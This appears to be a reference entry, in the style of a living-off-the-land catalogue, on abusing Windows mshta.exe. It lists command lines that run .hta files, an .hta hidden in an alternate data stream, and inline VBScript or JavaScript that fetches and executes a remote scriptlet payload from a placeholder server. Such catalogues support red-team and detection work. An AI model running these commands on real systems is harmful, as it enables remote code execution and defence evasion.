Used by Windows to execute html applications. (.hta)
Opens the target .HTA and executes embedded JavaScript, JScript, or VBScript.
mshta.exe evilfile.hta
Executes VBScript supplied as a command line argument.
mshta.exe vbscript:Close(Execute("GetObject(""script:https://webserver/payload.sct"")"))
Executes JavaScript supplied as a command line argument.
mshta.exe javascript:a=GetObject("script:https://webserver/payload.sct").Exec();close();
Opens the target .HTA and executes embedded JavaScript, JScript, or VBScript.
mshta.exe "C:\ads\file.txt:file.hta"
It will download a remote payload and place it in INetCache.
mshta.exe https://example.com/payload